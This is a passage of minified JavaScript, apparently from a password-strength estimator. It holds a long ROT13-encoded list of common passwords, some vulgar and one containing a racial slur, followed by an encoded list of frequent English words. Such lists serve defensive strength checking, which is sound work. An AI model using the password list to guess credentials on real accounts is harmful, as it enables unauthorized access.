nvgu1,sqz7rq,tvenssr,tvttyrf,sevatr,fpnzcre,eecnff1,fperjlbh,qvzcyrf,cnpvab,bagnevb,cnffguvr,boreba,dhrfg1,cbfgbi1000,chcclqbt,chssre,djregl7,gevony,nqnz25,n1234567,pbyyvr,pyrbcnge,qnivqr,anznfgr,ohssnyb1,obabibk,ohxxnxr,oheare,obeqrnhk,oheyl,uha999,ragref,zbunjx,itvey,wnlqra,1812,1943,222333,ovtwvz,ovtq,mbbz,jbeqhc,mvttl1,lnubbb,jbexbhg,lbhat1,kznf,mmmmmm1,fhesre1,fgevsr,fhayvtug,gnfun1,fxhax,fcevagre,crnpurf1,cvargerr,cyhz,cvzcvat,gursbepr,gurqba,gbbpbby,ynqqvr,yxwu,whcvgre1,znggl,erqebfr,1200,102938,nagnerf,nhfgva31,tbbfr1,737373,78945612,789987,6464,pnyvzreb,pnfgre,pnfcre1,przrag,puriebyrg,purffvr,pnqql,pnahpxf,sryyngvb,s00gonyy,tngrjnl2,tnzrphor,ehtol1,fpurvffr,qfunqr,qvkvr1,bssfuber,yhpnf1,znpnebav,znatn,cevatyrf,chss,gebhoyr1,hffl,pbbyunaq,pbybavny,pbyg,qneguinq,pltahfk1,angnyvr1,arjnex,uvxvat,reebef,rypnzvab,xbbynvq,xavtug1,zhecul1,ibypnab,vqhaab,2005,2233,oyhroree,ovthaf,lnznune1,mnccre,mbeeb1,0911,3006,fvkfvk,fubccre,frkgbl,fabjobneq,fcrrqjnl,cbxrl,cynlobl2,gvgv,gbbanezl,ynzoqn,wbrpbby,whavcre,znk123,znevcbfn,zrg2002,erttnr,evpxl1,1236,1228,1016,nyy4bar,onorehgu,nftneq,484848,5683,6669,pngavc,punevfzn,pncfybpx,pnfuzbar,tnynag,serapul,tvmzbqb1,tveyvrf,fperjl,qbhoyrq,qviref,qgr4hj,qentbasy,geroyr,gjvaxvr,gebcvpny,perfprag,pbpbpb,qnobzo,qnssl,qnaqsn,plenab,angunavr,obaref,uryvhz,uryynf,rfcerffb,xvyyn,xvxvzben,j4t8ng,vyvxrvg,vsbetrg,1944,20002000,oveguqnl1,orngyrf1,oyhr1,ovtqvpxf,orrgubir,oynpxyno,oynmref,oraal1,jbbqjbex,0069,0101,gnssl,4567,fubqna,cniybi,cvaanpyr,crghavn,gvgb,grravr,yrzbanqr,ynynxref,yrobjfxv,ynynynyn,ynqlobl,wrrcre,wblwbl,zrephel1,znagyr,znaaa,ebpxaeby,evirefvq,123nnn,11112222,121314,1021,1004,1120,nyyra1,nzoref,nzfgry,nyvpr1,nyyrlpng,nyyrteb,nzoebfvn,tfcbg,tbbqfrk,unggevpx,unecbba,878787,8vapurf,4jjigr,pnffnaqe,puneyvr123,tngfol,trarevp,tnergu,shpxzr2,fnzz,frnqbt,fngpuzb,fpknxi,fnagnsr,qvccre,bhgbhgbhg,znqznq,ybaqba1,dot26v,chffl123,gmcinj,inzc,pbzc,pbjtvey,pbyqcynl,qnjtf,ag5q27,abivsnez,abgerqnz,arjarff,zlxvqf,oelna1,obhapre,uvuvuv,ubarlorr,vprzna1,ubgyvcf,qlanzb,xnccn,xnuyhn,zhssl,zvmmbh,jnaanor,jrqarfqn,junghc,jngresny,jvyyl1,orne1,ovyynoba,lbhxabj,llllll1,mnpunel1,01234567,070462,mhevpu,fhcrefgne,fgvyrggb,fgeng,427900,fvtznpuv,furyyf,frkl123,fzvyr1,fbcuvr1,fgnlbhg,fbzrefrg,cynlzngr,cvaxsyblq,cuvfu1,cnlqnl,gurorne,gryrsba,ynrgvgvn,xfjoqh,wrexl,zrgeb,eribyhgv,1216,1201,1204,1222,1115,nepunatr,oneel1,unaqonyy,676767,purjonpp,sheonyy,tbphof,shyyonpx,tzna,qrjnyg,qbzvavdh,qvire1,quvc6n,byrzvff,znaqenxr,znatbf,cergmry,chfffl,gevcyru,intnobaq,pybivf,qnaqna,pfsoe5ll,qrnqfcva,avathan,app74656,obbgfvr,oc2002,obheoba,ohzoyr,urllbh,ubhfgba1,urzybpx,uvccb,ubeargf,ubefrzna,rkprff,rkgrafn,zhssva1,ivetvavr,jreqan,vqbagxabj,wnpx1,1ovgpu,151akwzg,oraqbire,ozjozj,mnd123,jkpioa,fhcreabi,gnubr,funxhe,frklbar,frivlv,fzneg1,fcrrq1,crcvgb,cunagbz1,cynlbssf,greel1,greevre,ynfre1,yvgr,ynapvn,wbuatnyg,wrawra,zvqbev,znfrengv,znggrb,zvnzv1,evssenss,ebanyq1,1218,1026,123987,1015,1103,neznqn,nepuvgrp,nhfgevn,tbgzvyx,pnzoevqt,pnzreb,syrk,sbercynl,trgbss,tynpvre,tybgrfg,sebttvr,treovy,ehttre,fnavgl72,qbaan1,bepuneq,blfgre,cnyzgerr,cnwreb,z5jxds,zntragn,yhpxlbar,gerrsebt,inagntr,hfznevar,glihtd,hcgbja,nonpno,nnnnnn1,puhpx1,qnexnatr,plpybarf,aninwb,ohoon123,vnjtx2,uesmym,qlyna1,raevpb,rapber,rpyvcfr1,zhgnag,zvmhab,zhfgnat2,ivqrb1,ivrjre,jrrq420,junyrf,wnthne1,1990,159159,1ybir,ornef1,ovtgehpx,ovtobff,oyvgm,kdtnaa,lrnulrnu,mrxr,mneqbm,fgvpxzna,3825,fragen,fuvin,fxvccre1,fvatncbe,fbhgucnj,fbaben,fdhvq,fynzqhax,fyvzwvz,cynpvq,cubgba,cynprob,crney1,grfg12,gurebpx1,gvtre123,yrvanq,yrtzna,wrrcref,wbroybj,zvxr23,erqpne,euvabf,ewj7k4,1102,13576479,112211,tjwh3t,terljbys,7otvdx,7878,535353,4fam9t,pnaqlnff,pppppp1,pngsvtug,pnyv,svfgre,sbfgref,svaynaq,senaxvr1,tvmmzb,eblnygl,ehteng,qbqb,brzqyt,bhg3ks,cnqql,bcraabj,chccl1,dnmjfkrqp,enzwrg,noenknf,pa42dw,qnapre1,qrngu666,ahqvgl,avzqn2x,ohvpx,oboo,oenirf1,uraevx,ubbyvtna,rireynfg,xnenpuv,zbegvf,zbavrf,zbgbpebf,jnyyl1,jvyyvr1,vafcveba,1grfg,2929,ovtoynpx,klgsh7,lnpxjva,mnd1kfj2,ll5eosfp,100100,0660,gnuvgv,gnxrunan,332211,3535,frqban,frnjbys,fxlqvire,fcyrra,fynfu,fcwsrg,fcrpvny1,fyvzfunq,fbcenabf,fcbpx1,cravf1,cngpurf1,guvreel,gurguvat,gbbubg,yvzcbar,znfu4077,zngpuobk,znfgrec,znkqbt,evoovg,ebpxva,erqung,1113,14789632,1331,nyyqnl,nynqva,naqerl,nzrgulfg,onfronyy1,ngubzr,tbbsl1,terrazna,tbbsonyy,un8slc,tbbqqnl,778899,puneba,punccl,pnenpnf,pneqvss,pncvgnyf,pnanqn1,pnwha,pnggre,serqql1,snibevgr2,sbezr,sbefnxra,srrytbbq,tskdk686,fnfxvn,fnawbfr,fnyfn,qvyoreg1,qhxrqhxr,qbjauvyy,ybatunve,ybphghf,ybpxqbja,znynpuv,znznpvgn,ybyvcbc,envalqnl,chzcxva1,chaxre,cebfcrpg,enzob1,envaobjf,dhnxr,gevavgl1,gebbcre1,pvgngvba,pbbypng,qrsnhyg,qraveb,q9haty,qnqqlf,anhgvpn,arezny,ohxbjfxv,ohooyrf1,obtbgn,ohqf,uhyx,uvgnpuv,raqre,rkcbeg,xvxvxv,xppuvrsf,xenz,zbegvpvn,zbagebfr,zbatb,jndj3c,jvmmneq,juqogc,juxmlp,154htrvh,1shpx,ovaxl,ovterq1,oyhoore,orpxl1,lrne2005,jbaqresh,kengrq,0001,gnzcnonl,fheirl,gnzzl1,fghssre,3zcm4e,3000,3fbzr,fvreen1,funzcbb,fulful,fyncahgf,fgnaqol,fcnegna1,fcebpxrg,fgnayrl1,cbxre1,gurfuvg,yninynzc,yvtug1,ynfrewrg,wrqvxavt,wwwww1,znmqn626,zraguby,znetnhk,zrqvp1,euvab1,1209,1234321,nzvtbf,ncevpbg,nfqstu1,unveonyy,unggre,tevznpr,7kz5ed,6789,pnegbbaf,pncpbz,pnfusybj,pneebgf,snangvp,sbezng,tveyvr,fnsrjnl,qbtsneg,qbaqba,bhgfvqre,bqva,bcvngr,ybyyby,ybir12,znyyengf,centhr,cevzrgvzr21,chtfyrl,e29udd,inyyrljn,nvezna,nopqrst1,qnexbar,phzzre,angrqbtt,avaronyy,aqrly5,angpurm,arjbar,abeznaql,avprgvgf,ohqql123,ohqqlf,ubzryl,uhfxl,vprynaq,ue3lgz,uvtuyvsr,ubyyn,rneguyva,rkrgre,rngzrabj,xvzxvz,x2gevk,xreary,zbarl123,zbbazna,zvyrf1,zhsnfn,zbhfrl,juvgrf,jneunzzr,wnpxnff1,2277,20fcnaxf,oybool,oyvaxl,ovxref,oynpxwnpx,orppn,oyhr23,kzna,jlirea,085gmmdv,mkmkmk,mfzw2i,fhrqr,g26ta4,fhtnef,gnagen,fjbbfu,4226,4271,321123,383cqwiy,funar1,furyol1,fcnqrf,fzbgure,fcneunjx,cvffre,cubgb1,crooyr,crnirl,cnirzrag,guvfgyr,xebabf,yvyovg,yvahk,zrynavr1,zneoyrf,erqyvtug,1208,1138,1008,nypurzl,nbyfhpxf,nyrknyrk,nggvphf,nhqvgg,o929rmmu,tbbqlrne,thoore,863notft,7474,797979,464646,543210,4mdnhs,4949,pu5azx,pneyvgb,purjrl,pnerorne,purpxzng,purqqne,punpuv,sbetrgvg,sbeyvsr,tvnagf1,trgvg,treuneq,tnyvyrb,t3hwjt,tnawn,ehshf1,ehfuzber,qvfphf,qhqrzna,bylzchf,bfpnef,bfcerl,znqpbj,ybphfg,yblbyn,znzzbgu,cebgba,enoovg1,cgsr3kkc,cjkq5k,checyr1,chaxnff,cebcurpl,hlkalq,glfba1,nvepensg,npprff99,nopnop,pbygf,pvivyjne,pynhqvn1,pbagbhe,qqqqqq1,plcure,qncmh455,qnvflqbt,abyrf,ubbpuvr,ubfre,ryqvnoyb,xvatevpu,zhqinlar,zbgbja,zc8b6q,ivcretgf,vgnyvnab,2055,2211,oybxr,oynqr1,lnzngb,mbbebcn,ldyte667,050505,mkpioaz1,mj6flw,fhpxpbpx,gnatb1,fjnzcl,445566,333666,380myvxv,frkcbg,frklynql,fvkglava,fvpxobl,fcvssl,fxlynex,fcnexyrf,cvagnvy,cuernx,gryyre,gvzgvz,guvtuf,yngrk,yrgfqbvg,yxwut,ynaqznex,yvmmneq,zneyvaf,znenhqre,zrgny1,znah,evtugba,1127,nynva,nypng,nzvtb,onfrony1,nmreglhv,nmenry,unzcre,tbgraxf,tbystgv,unjxjvaq,u2fypn,tenpr1,6puvq8,789654,pnavar,pnfvb,pnmmb,poe900,pnoevb,pnylcfb,pncrgbja,sryvar,syngurnq,svfurezn,syvczbqr,shathf,t9maf4,tvttyr,tnoevry1,shpx123,fnsseba,qbtzrng,qernzpnf,qveglqbt,qbhpur,qerfqra,qvpxqvpx,qrfgval1,cnccl,bnxgerr,yhsg4,chgn,enznqn,gehzcrg1,ipenqd,ghyvc,genpl71,glpbba,nnnnnnn1,pbadhrfg,puvgbja,perrcref,pbeaubyr,qnazna,qnqn,qrafvgl,q9rox7,qnegu,aveinan1,arfgyr,oeraqn1,obanamn,ubgfche,uhszdj,ryrpgeb,renfher,ryvfnorg,rgijj4,rjlhmn,revp1,xraxra,xvfzrg,xynngh,zvynzore,jvyyv,vfnpf155,vtbe,1zvyyvba,1yrgzrva,k35i8y,lbtv,ljikcm,katjbw,mvccl1,020202,****,fgbarjny,fragel,frkfrkfrk,fbalfbal,fzveabss,fgne12,fbynpr,fgne1,cxkr62,cvybg1,cbzzrf,cnhycnhy,gvpny,gvpgnp,yvtugubh,yrznaf,xhoevpx,yrgzrva22,yrgzrfrr,wlf6jm,wbarfl,wwwwww1,wvttn,erqfgbez,evyrl1,14141414,1126,nyyvfba1,onqobl1,nfguzn,nhttvr,uneqjbbq,thzob,616913,57ac39,56dukf,4zairu,sngyhie69,sdxj5z,svqryvgl,srnguref,serfab,tbqvin,trpxb,tvofba1,tbtngbef,trareny1,fnkzna,ebjvat,fnzzlf,fpbggf,fpbhg1,fnfnfn,fnzbug,qentba69,qhpxl,qentbaonyy,qevyyre,c3jdnj,cncvyyba,barbar,bcravg,bcgvzvfg,ybatfubg,encvre,chffl2,enycuvr,ghkrqb,haqregbj,pbcraunt,qryyqryy,phyvanel,qrygnf,zlgvzr,abanzr,abyrf1,ohpxre,obccre,oheabhg,vovyygrf,uvuwr863,uvggre,rxvz,rfcnan,rngzr69,rycnfb,rkcerff1,rrrrrr1,rngzr1,xnenbxr,zhfgnat5,jryyvatg,jvyyrz,jngrefxv,jropnz,wnfbaf,vasvavgr,vybirlbh!,wnxnegn,orynve,ovtqnq,orrezr,lbfuv,lvalnat,k24vx3,063qlwhl,0000007,mgzspd,fgbcvg,fgbbtrf,flzbj8,fgengb,2ubg4h,fxvaf,funxrf,frk1,fanpxf,fbsggnvy,fyvzrq123,cvmmnzna,gvtrepng,gbagba,yntre,yvmml,whwh,wbua123,wrffr1,wvatyrf,znegvna,znevb1,ebbgrqvg,ebpuneq,erqjvar,erdhvrz,evireeng,1117,1014,1205,nzbe,nzvtn,nycvan,ngervqrf,onanan1,onunzhg,tbyszna,unccvarf,7hsglk,5432,5353,5151,4747,sbksver,ssiqw474,sberfxva,tnlobl,tttttt1,tnzrbire,tyvggre,shaal1,fpbbolqbb,fnkbcuba,qvatong,qvtvzba,bzvpeba,cnaqn1,ybybkk,znpvagbf,yhyhyh,ybyylcbc,enpre1,dhrra1,djregmhv,hcaszp,glenag,gebhg1,9fxj5t,nprzna,npyf2u,nnnooo,npnchypb,nttvr,pbzpnfg,pybhql,pd2xcu,q6b8cz,plorefrk,qnirpbyr,qnevna,pehzof,qnirqnir,qnfnav,zmrcno,zlcbea,aneavn,obbtre1,oenib1,ohqtvr,ogawrl,uvtuynaqre,ubgry6,uhzoht,rjgbfv,xevfgva1,xbor,xahpxyrf,xrvgu1,xngnevan,zhss,zhfpuv,zbagnan1,jvatpuha,jvttyr,junggur,irggr1,ibyf,iventb,vagw3n,vfuznry,wnpuva,vyyzngvp,199999,2010,oyraqre,ovtcravf,oratny,oyhr1234,mndkfj,kenl,kkkkkkk1,mroenf,lnaxf,gnqcbyr,fgevcrf,3737,4343,3728,4444444,368rwuvu,fbyne,fbaar,favssre,fbangn,fdhvegf,cynlfgngvba,cxgzke,crfpngbe,grknpb,yrfobf,y8i53k,wb9x2wj2,wvzornz,wvzv,whcvgre2,whenffvp,znevarf1,ebpxrg1,14725836,12345679,1219,123098,1233,nyrffnaq,nygube,nepu,nycun123,onfure,onersrrg,onyobn,ooooo1,onqnovat,tbcnpx,tbysahg,tfke1000,tertbel1,766etydl,8520,753159,8qvup6,69pnzneb,666777,purron,puvab,purrxl,pnzry1,svfupnxr,syhoore,tvnaav,tanfure23,sevforr,shmml1,shmmonyy,fnir13gk,ehffryy1,fnaqen1,fpebghz,fphzont,fnoer,fnzqbt,qevccvat,qentba12,qentfgre,bejryy,znvaynaq,znvar,da632b,cbbcurnq,enccre,cbea4yvsr,enchamry,irybpvgl,inarffn1,gehroyhr,inzcver1,nonphf,902100,pevfcl,pubbpu,q6jaeb,qnohyyf,qruclr,anilfrny,awdpj4,abjabj,avttre1,avtugbjy,abarabar,avtugzne,ohfgyr,ohqql2,obvatb,ohtzna,obffubt,uloevq,uvyyfvqr,uvyygbc,ubgyrtf,ummr929o,uuuuu1,uryybury,rivybar,rqtrjvfr,r5csgh,rqrq,rzonyzre,rkpnyvohe,ryrsnag,xramvr,xvyynu,xyrrark,zbhfrf,zbhagn1a,zbgbef,zhgyrl,zhssqvir,ivivgeba,j00g88,vybirvg,wnewne,vaprfg,vaqlpne,17171717,1664,17011701,222777,2663,orrypu,oraora,lvgobf,lllll1,mmmmm1,fgbbtr,gnatreva,gnmgnm,fgrjneg1,fhzzre69,flfgrz1,fheirlbe,fgveyvat,3didbq,3jnl,456321,fvmmyr,fvzued,fcnegl,ffcgk452,fcurer,crefvna,cybccl,ca5wij,cbborne,cvnabf,cynfgre,grfgzr,gvss,guevyyre,znfgre12,ebpxrl,1229,1217,1478,1009,nanfgnfv,nzbaen,netragva,nyovab,nmnmry,tevaqre,6hyqi8,83l6ci,8888888,4gyirq,515051,pnefgra,sylref88,ssssss1,sverunjx,sverqbt,synfuzna,ttttt1,tbqfcrrq,tnyjnl,tvirvghc,shagvzrf,tbuna,tvirzr,trelsr,serapuvr,fnlnat,ehqrobl,fnaqnyf,qbhtny,qent0a,qtn9yn,qrfxgbc,baylbar,bggre,cnaqnf,znsvn,yhpxlf,ybiryvsr,znaqref,ddu92e,dpzsq454,enqne1,chanav,cgoquj,ghegyrf,haqregnxre,gef8s7,htrwic,noon,911gheob,npqp,nopq123,penfu1,pbybal,qryobl,qnivapv,abgrobbx,avgebk,obenoben,obamnv,oevfonar,urryrq,ubblnu,ubgtvey,v62tod,ubefr1,ucx2dp,rciwo6,zaoip,zbzzl1,zhafgre,jvppna,2369,orgglobb,oybaql,ovfznex,ornaont,owutsv,oynpxvpr,liggr545,labg,lrff,mymseu,jbyivr,007obaq,******,gnvytngr,gnaln1,fkud65,fgvaxl1,3234412,3xv42k,frivyyr,fuvzzre,fvraan,fuvgfuvg,fxvyyrg,fbbaref1,fbynevf,fznegnff,crqebf,craaljvf,csyblq,gbolqbt,gurgehgu,yrgzr1a,znevb66,zvpxl,ebpxl2,erjd,ervaqrre,1128,1207,1104,1432,ncevyvn,nyyfgngr,ontryf,onttvrf,oneentr,theh,72q5ga,606060,4jpdwa,punapr1,synatr,snegzna,trvy,toups2,shffonyy,shndm4,tnzrobl,trarivri,ebgnel,frnunjx,fnno,fnznqnzf,qriyg4,qvggb,qerivy,qevaxre,qrhpr,qvcfgvpx,bpgbchf,bggnjn,ybfnatry,ybirezna,cbexl,d9hzbm,encgher,chffl4zr,gevcyrk,hr8scj,gheobf,nnn340,puhepuvy,penmlzna,phgvrcvr,qqqqq1,qrwnih,phkyqi,aoivog,avxba,avxb,anfpne1,ohoon2,obborne,obbtref,ohyyjvax,ohyyqnjt,ubefrzra,rfpnynqr,rntyr2,qlanzvp,rslert,zvaarfbg,zbtjnv,zfakov,zjd6dymb,jreqre,ireltbbq,ibbqbb1,vvvvvv1,159951,1624,1911n1,2244,oryyntvb,orqynz,oryxva,ovyy1,kveg2x,??????,fhfvrd,fhaqbja,fhxror,fjvsgl,2snfg4h,frkr,fuebbz,frnjrrq,fxrrgre1,favpxre,fcnaxl1,fcbbx,cunrqehf,cvybgf,crqqyre,guhzcre1,gvtre7,gzwka151,gurzngev,y2t7x3,yrgzrvaa,wrsswrss,wbuazvfu,znagen,zvxr69,znmqn6,evcgvqr,ebobgf,1107,1130,142857,11001001,1134,nezberq,nyyavtug,nznghref,onegbx,nfgeny,onobba,onyyf1,onffbba,upyrro,uncclzna,tenavgr,tenljbys,tbys1,tbzrgf,8iwmhf,7890,789123,8hvnmc,5757,474wqiss,551fpnfv,50prag,pnzneb1,pureel1,purzvfg,sveramr,svfugnax,serrjvyy,tyraqnyr,sebtsebt,tnarfu,fpvebppb,qrivyzna,qbbqyrf,bxvanjn,bylzcvp,becurhf,buzltbq,cnvfyrl,cnyyznyy,yhapuobk,znaunggn,znunyb,znaqneva,djdjdj,dthilg,ckk3rsgc,enzoyre,cbccl1,ghex182,iqykhp,ghtobng,inyvnag,hjey7p,puevf123,pzsach,qrpvzny,qroovr1,qnaql,qnrqnyhf,angnfun1,avffna1,anapl123,arirezva,ancnyz,arjpnfgyr,obatuvg,vokafz,uuuuuu1,ubytre,rqzbagba,rdhvabk,qinqre,xvzzl,xahyyn,zhfgnsn,zbafbba,zvfgeny,zbetnan,zbavpn1,zbwnir,zbagrerl,zeovyy,ixnkpf,ivpgbe1,ivbyngbe,isquvs,jvyfba1,jnicmg,jvyqfgne,jvagre99,vdmmg580,vzonpx,1914,19741974,1zbaxrl,1d2j3r4e5g,2500,2255,ovtfubj,ovtohpxf,oynpxpbp,mbbzre,jgpnpd,jbooyr,kzra,kwmad5,lrfgreqn,lujadp,mmmkkk,393939,2spuot,fxvaurnq,fxvyyrq,funqbj12,frnfvqr,fvashy,fvyvpba,fzx7366,fancfubg,favcre1,fbppre11,fzhggl,crrcref,cybxvw,cqvqql,cvzcqnqql,guehfg,greena,gbcnm,gbqnl1,yvbaurne,yvggyrzn,ynhera1,yvapbya1,ytah9q,wharnh,zrgubf,ebthr1,ebzhyhf,erqfuvsg,1202,1469,12ybpxrq,nevmban1,nysnebzr,ny9ntq,nby123,nygrp,ncbyyb1,nefr,onxre1,ooo747,nkrzna,nfgeb1,unjgubea,tbbqsryy,unjxf1,tfgevat,unaarf,8543852,868686,4at62g,554hmcnq,5401,567890,5232,pngsbbq,sver1,syvcsybc,sssss1,sbmmvr,syhss,smnccn,ehfglqbt,fpneno,fngva,ehtre,fnzfhat1,qrfgva,qvnoyb2,qernzre1,qrgrpgvi,qbdid3,qeljnyy,cnynqva1,cncnorne,bssebnq,cnanfbavp,allnaxrr,yhrgqv,dpszgm,cls8nu,chqqyrf,chfflrng,enycu1,cevaprgb,gevivn,gerjd,gev5n3,nqirag,9898,ntlibep,pynexvr,pbnpu1,pbhevre,puevfgb,pubjqre,plmxuj,qnivqo,qnq2bjah,qnerqriv,qr7zqs,anmthy,obbobb1,obamb,ohgpu1,uhfxref1,utsqfn,ubealzna,ryrxgen,ratynaq1,rybqvr,xrezvg1,xnobbz,zbegra,zbpun,zbaqnl1,zbetbgu,jrrjrr,jrravr,ibeyba,jnubb,vybirtbq,vafvqre,wnlzna,1911,1qnyynf,1900,1enatre,201wrqym,2501,1dnm,ovtahgf,ovtonq,orrorr,ovyybjf,oryvmr,jiw5ac,jh4rgq,lnznun1,jevaxyr5,mroen1,lnaxrr1,mbbzmbbz,09876543,0311,?????,fgwnoa,gnvagrq,3gzarw,fxbbgre,fxrygre,fgneyvgr,fcvpr1,fgnprl1,fzvgul,cbyyhk,crgreabegu,cvkvr,cvfgba,cbrgf,gbbaf,gbcfcva,xhtz7o,yrtraqf,wrrcwrrc,wblfgvpx,whaxznvy,wbwbwbwb,wbaobl,zvqynaq,znlsnve,evpurf,ermabe,ebpxebpx,erobbg,erarr1,ebnqjnl,enfgn220,1411,1478963,1019,nepurel,naqlnaql,onexf,ontchff,nhpxynaq,tbbfrzna,unmzng,thppv,tenzzl,uncclqbt,7xor9q,7676,6owicr,5ylrqa,5858,5291,puneyvr2,p7yejh,pnaqlf,pungrnh,ppppp1,pneqvanyf,svuqsi,sbeghar12,tbpngf,tnryvp,sjfnqa,tbqobl,tyqzrb,sk3ghb,shone1,trarenyf,tsbepr,ekzgxc,ehym,fnvenz,qhauvyy,qbtttt,bmyd6djz,bi3nwl,ybpxbhg,znxnlyn,znptlire,znyybepn,cevzn,ciwrth,dukovw,ceryhqr1,gbgbeb,ghflzb,gebhfref,ghynar,ghegyr1,genpl1,nrebfzvg,noorl1,pygvpvp,pbbcre1,pbzrgf,qrycvreb,plcehf,qnagr1,qnir1,abhabhef,arkhf6,abtneq,abesbyx,oerag1,obblnu,obbgyrt,ohyyf23,ohyyf1,obbcre,urergvp,vprphor,uryyab,ubhaqf,ubarlqrj,ubbgref1,ubrf,uriaz4,uhtbuhtb,rcfba,rinatryv,rrrrr1,rlcurq".split(","))),
+o("english",r("lbh,v,gb,gur,n,naq,gung,vg,bs,zr,jung,vf,va,guvf,xabj,v'z,sbe,ab,unir,zl,qba'g,whfg,abg,qb,or,ba,lbhe,jnf,jr,vg'f,jvgu,fb,ohg,nyy,jryy,ner,ur,bu,nobhg,evtug,lbh'er,trg,urer,bhg,tbvat,yvxr,lrnu,vs,ure,fur,pna,hc,jnag,guvax,gung'f,abj,tb,uvz,ng,ubj,tbg,gurer,bar,qvq,jul,frr,pbzr,tbbq,gurl,ernyyl,nf,jbhyq,ybbx,jura,gvzr,jvyy,bxnl,onpx,pna'g,zrna,gryy,v'yy,sebz,url,jrer,ur'f,pbhyq,qvqa'g,lrf,uvf,orra,be,fbzrguvat,jub,orpnhfr,fbzr,unq,gura,fnl,bx,gnxr,na,jnl,hf,yvggyr,znxr,arrq,tbaan,arire,jr'er,gbb,fur'f,v'ir,fher,gurz,zber,bire,bhe,fbeel,jurer,jung'f,yrg,guvat,nz,znlor,qbja,zna,unf,hu,irel,ol,gurer'f,fubhyq,nalguvat,fnvq,zhpu,nal,yvsr,rira,bss,qbvat,gunax,tvir,bayl,gubhtug,uryc,gjb,gnyx,crbcyr,tbq,fgvyy,jnvg,vagb,svaq,abguvat,ntnva,guvatf,yrg'f,qbrfa'g,pnyy,gbyq,terng,orsber,orggre,rire,avtug,guna,njnl,svefg,oryvrir,bgure,srry,rirelguvat,jbex,lbh'ir,svar,ubzr,nsgre,ynfg,gurfr,qnl,xrrc,qbrf,chg,nebhaq,fgbc,gurl'er,v'q,thl,vfa'g,nyjnlf,yvfgra,jnagrq,ze,thlf,uhu,gubfr,ovt,ybg,unccrarq,gunaxf,jba'g,gelvat,xvaq,jebat,guebhtu,gnyxvat,znqr,arj,orvat,thrff,uv,pner,onq,zbz,erzrzore,trggvat,jr'yy,gbtrgure,qnq,yrnir,cynpr,haqrefgnaq,jbhyqa'g,npghnyyl,urne,onol,avpr,sngure,ryfr,fgnl,qbar,jnfa'g,gurve,pbhefr,zvtug,zvaq,rirel,rabhtu,gel,uryy,pnzr,fbzrbar,lbh'yy,bja,snzvyl,jubyr,nabgure,ubhfr,lbhefrys,vqrn,nfx,orfg,zhfg,pbzvat,byq,ybbxvat,jbzna,juvpu,lrnef,ebbz,yrsg,xarj,gbavtug,erny,fba,ubcr,anzr,fnzr,jrag,hz,uzz,unccl,cerggl,fnj,tvey,fve,fubj,sevraq,nyernql,fnlvat,arkg,guerr,wbo,ceboyrz,zvahgr,sbhaq,jbeyq,guvaxvat,unira'g,urneq,ubarl,znggre,zlfrys,pbhyqa'g,rknpgyl,univat,nu,cebonoyl,unccra,jr'ir,uheg,obl,obgu,juvyr,qrnq,tbggn,nybar,fvapr,rkphfr,fgneg,xvyy,uneq,lbh'q,gbqnl,pne,ernql,hagvy,jvgubhg,jnagf,ubyq,jnaan,lrg,frra,qrny,gbbx,bapr,tbar,pnyyrq,zbeavat,fhccbfrq,sevraqf,urnq,fghss,zbfg,hfrq,jbeel,frpbaq,cneg,yvir,gehgu,fpubby,snpr,sbetrg,gehr,ohfvarff,rnpu,pnhfr,fbba,xabjf,srj,gryyvat,jvsr,jub'f,hfr,punapr,eha,zbir,nalbar,crefba,olr,fbzrobql,qe,urneg,fhpu,zvff,zneevrq,cbvag,yngre,znxvat,zrrg,naljnl,znal,cubar,ernfba,qnza,ybfg,ybbxf,oevat,pnfr,ghea,jvfu,gbzbeebj,xvqf,gehfg,purpx,punatr,raq,yngr,nalzber,svir,yrnfg,gbja,nera'g,un,jbexvat,lrne,znxrf,gnxvat,zrnaf,oebgure,cynl,ungr,ntb,fnlf,ornhgvshy,tnir,snpg,penml,cnegl,fvg,bcra,nsenvq,orgjrra,vzcbegnag,erfg,sha,xvq,jbeq,jngpu,tynq,rirelbar,qnlf,fvfgre,zvahgrf,rirelobql,ovg,pbhcyr,jubn,rvgure,zef,srryvat,qnhtugre,jbj,trgf,nfxrq,haqre,oernx,cebzvfr,qbbe,frg,pybfr,unaq,rnfl,dhrfgvba,gevrq,sne,jnyx,arrqf,zvar,gubhtu,gvzrf,qvssrerag,xvyyrq,ubfcvgny,nalobql,nyevtug,jrqqvat,fuhg,noyr,qvr,cresrpg,fgnaq,pbzrf,uvg,fgbel,ln,zz,jnvgvat,qvaare,ntnvafg,shaal,uhfonaq,nyzbfg,cnl,nafjre,sbhe,bssvpr,rlrf,arjf,puvyq,fubhyqa'g,unys,fvqr,lbhef,zbzrag,fyrrc,ernq,jurer'f,fgnegrq,zra,fbhaqf,fbaal,cvpx,fbzrgvzrf,rz,orq,nyfb,qngr,yvar,cyna,ubhef,ybfr,unaqf,frevbhf,oruvaq,vafvqr,uvtu,nurnq,jrrx,jbaqreshy,svtug,cnfg,phg,dhvgr,ahzore,ur'yy,fvpx,vg'yy,tnzr,rng,abobql,tbrf,nybat,fnir,frrzf,svanyyl,yvirf,jbeevrq,hcfrg,pneyl,zrg,obbx,oebhtug,frrz,fbeg,fnsr,yvivat,puvyqera,jrera'g,yrnivat,sebag,fubg,ybirq,nfxvat,ehaavat,pyrne,svther,ubg,sryg,fvk,cneragf,qevax,nofbyhgryl,ubj'f,qnqql,nyvir,frafr,zrnag,unccraf,fcrpvny,org,oybbq,nva'g,xvqqvat,yvr,shyy,zrrgvat,qrne,frrvat,fbhaq,snhyg,jngre,gra,jbzra,ohl,zbaguf,ubhe,fcrnx,ynql,wra,guvaxf,puevfgznf,obql,beqre,bhgfvqr,unat,cbffvoyr,jbefr,pbzcnal,zvfgnxr,bbu,unaqyr,fcraq,gbgnyyl,tvivat,pbageby,urer'f,zneevntr,ernyvmr,cerfvqrag,hayrff,frk,fraq,arrqrq,gnxra,qvrq,fpnerq,cvpgher,gnyxrq,nff,uhaqerq,punatrq,pbzcyrgryl,rkcynva,cynlvat,pregnvayl,fvta,oblf,eryngvbafuvc,ybirf,unve,ylvat,pubvpr,naljurer,shgher,jrveq,yhpx,fur'yy,ghearq,xabja,gbhpu,xvff,penar,dhrfgvbaf,boivbhfyl,jbaqre,cnva,pnyyvat,fbzrjurer,guebj,fgenvtug,pbyq,snfg,jbeqf,sbbq,abar,qevir,srryvatf,gurl'yy,jbexrq,zneel,yvtug,qebc,pnaabg,frag,pvgl,qernz,cebgrpg,gjragl,pynff,fhecevfr,vgf,fjrrgurneg,cbbe,ybbxrq,znq,rkprcg,tha,l'xabj,qnapr,gnxrf,nccerpvngr,rfcrpvnyyl,fvghngvb